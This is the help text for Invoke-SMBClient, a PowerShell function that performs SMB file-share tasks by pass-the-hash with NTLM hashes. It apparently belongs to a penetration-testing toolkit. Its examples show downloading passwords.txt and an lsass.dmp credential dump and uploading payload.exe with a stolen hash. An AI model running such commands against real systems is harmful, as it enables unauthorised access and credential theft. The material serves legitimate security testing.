function Invoke-SMBClient
{
<#
.SYNOPSIS
Invoke-SMBClient performs basic file share tasks with pass the hash. This module supports SMB2 (2.1) only with and
without SMB signing. Note that this client is slow compared to the Windows client.
Author: Kevin Robertson (@kevin_robertson)
License: BSD 3-Clause
.PARAMETER Username
Username to use for authentication.
.PARAMETER Domain
Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the
username.
.PARAMETER Hash
NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
.Parameter Action
Default = List: (List/Recurse/Delete/Get/Put) Action to perform.
List: Lists the contents of a directory.
Recurse: Lists the contents of a directory and all subdirectories.
Delete: Deletes a file.
Get: Downloads a file.
Put: Uploads a file and sets the creation, access, and last write times to match the source file.
.PARAMETER Source
List and Recurse: UNC path to a directory.
Delete: UNC path to a file.
Get: UNC path to a file.
Put: File to upload. If a full path is not specified, the file must be in the current directory. When using the
'Modify' switch, 'Source' must be a byte array.
.PARAMETER Destination
List and Recurse: Not used.
Delete: Not used.
Get: If used, value will be the new filename of downloaded file. If a full path is not specified, the file will be
created in the current directory.
Put: UNC path for uploaded file. The filename must be specified.
.PARAMETER Modify
List and Recurse: The function will output an object consisting of directory contents.
Delete: Not used.
Get: The function will output a byte array of the downloaded file instead of writing the file to disk. It's
advisable to use this only with smaller files and to send the output to a variable.
Put: Uploads a byte array to a new destination file.
.PARAMETER NoProgress
List and Recurse: Not used.
Delete: Not used.
Get and Put: Prevents displaying of a progress bar.
.PARAMETER Sleep
Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try increasing this
if downloaded files are being corrupted.
.PARAMETER Session
Inveigh-Relay authenticated session.
.PARAMETER Version
Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the
target. Note, only the signing check works with SMB1.
.EXAMPLE
List the contents of a root share directory.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose
.EXAMPLE
Recursively list the contents of a share starting at the root.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share
.EXAMPLE
Recursively list the contents of a share subdirectory and return only the contents output to a variable.
$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify
.EXAMPLE
Delete a file on a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\payload.exe
.EXAMPLE
Delete a file in subdirectories within a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\payload.exe
.EXAMPLE
Download a file from a share.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt
.EXAMPLE
Download a file from within a share subdirectory and set a new filename.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\lsass.dmp -Destination server_lsass.dmp
.EXAMPLE
Download a file from a share to a byte array variable instead of disk.
[Byte[]]$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt -Modify
[System.Text.Encoding]::UTF8.GetString($password_file)
.EXAMPLE
Upload a file to a share subdirectory.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source payload.exe -Destination \\server\share\subdirectory\payload.exe
.EXAMPLE
Upload a file to share from a byte array variable.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.docx -Modify
.EXAMPLE
List the contents of a share directory using an authenticated Inveigh-Relay session.
Invoke-SMBClient -Session 1 -Source \\server\share
